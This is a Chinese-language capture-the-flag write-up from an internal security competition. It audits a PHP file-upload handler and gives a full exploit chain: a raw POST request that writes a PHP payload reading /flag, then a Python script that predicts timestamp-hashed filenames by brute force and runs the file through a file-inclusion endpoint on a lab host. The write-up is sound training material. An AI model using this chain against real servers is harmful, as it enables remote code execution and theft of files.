网络安全 --- 中xx信第四届网络安全攻防赛
我先简述一下流程,考试考3场,第一场是ctf,包含理论和实操,都是常规题目。第二次是awd,分成15个回合,我们攻击服务器提供的多个其他队伍的靶机,其他人也可以攻击我们。主要使用的工具是漏洞审计工具。将每个审计的结果进行修复。第三场是cfs,就是内网渗透,提供多台机器,通过web进入内网内部进行的渗透
第一题:
//计算sha256后截取16位
function generateStringFromTime($timeStr, $length = 16){ // 基于传入的时间字符串 `timeStr` 生成哈希值,然后取其前 `$length` 个字符作为返回结果。 $hash = hash('sha256', $timeStr); // 使用 sha256 算法对时间字符串进行哈希 $result = substr($hash, 0, $length); // 从哈希值中提取前 `length` 个字符 return $result; // 返回生成的子字符串 } ...代码路... sleep(x); // 程序暂停一段时间, x 的值小于 60 秒,具体时间未知 $full_time = date("Y-m-d-H-i-s'); //获取当前完整时间戳 "年-月-日-时-分-秒",这里的时间因为上面的sleep函数导致date对象未知 sleep(x); // 再次暂停, x 的值小于 8 秒,具体时间未知 $time = data('Y-m-d-H-i'); //获取当前时间,精确到分钟 "年-月-日-时-分"。两次 sleep(x) 没有明确的时间,会导致不可预测的暂停时间。 $generatedString = generateStringFromTime($full_time); // 基于完整时间戳生成一个哈希字符串 $filename = '/tmp/'. $generatedString; // 使用生成的哈希字符串作为文件名,在 `/tmp/` 目录下创建文件,文件名是根据哈希生成的,但它依赖于 full_time,即当前的完整时间戳。理论上,攻击者可以通过多次尝试或猜测来生成相同的文件名,进而覆盖已有文件或访问不应访问的文件。
$content = $_POST['HIJKLMN']; // 从 POST 请求中获取用户提交的内容,键为 'HIJKLMN',攻击者可以通过提交恶意内容,如 PHP 代码或脚本,来尝试代码注入攻击。
...代码络...
file_put_contents($filename, $content); // 将用户提交的内容写入到生成的文件中,这里有个文件写入漏洞!!!!
$log_entry = "$time 时间提交了一条内容\n"; // 创建日志条目,记录提交时间到 `time`
file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND); // 将日志条目追加写入到日志文件 `/tmp/time.txt` 中
echo render_template('submit_success.html', ['time' => $time]); // 返回 `submit_success.html` 模板,传递时间参数 }
利用思路:通过源码审计,发现源码存在,文件写入,文件包含,文件路径预测,三个漏洞,我们利用文件写入漏洞先写入php一句话木马到文件,在文件路径预测漏洞爆破目录存放位置,使用文件包含漏洞执行php代码读取flag文件。
1.文件写入
使用burp或hackbar写入一句话木马,注意这里有php木马过滤需要绕过,我们使用下面代码绕过
POST /submit.php HTTP/1.1 Host: 10.1.0.122:84 Content-Type: application/x-www-form-urlencoded Content-Length: 52 A=1&B=2&HIJKLMN=<?php var_dump(readfile("/flag"));?>
2.文件路径预测并文件包含返回flag结果
import hashlib import requests # 导入 requests 库以发送 HTTP 请求 # 定义函数,通过时间字符串生成 SHA-256 哈希 def generate_string_from_time(time_str, length=16): hash_object = hashlib.sha256(time_str.encode()) # 计算 SHA-256 哈希 return hash_object.hexdigest()[:length] # 返回前 length 个字符 str1 = "2024-09-23-09-33-" for i in range(60): i_str = str(i).zfill(2) # 用零填充,确保两位数 combined_str = f"{str1}{i_str}" # 组合时间字符串 sha = generate_string_from_time(combined_str) # 生成时间哈希值 url2 = f"http://10.1.0.122:84/include.php?file=/tmp/{sha}" # 生成请求 URL # 发送请求以检查文件 req = requests.get(url2) # 发送 GET 请求 if "File not found" not in req.text: # 检查文件是否存在 print(url2) # 如果文件存在,打印 URL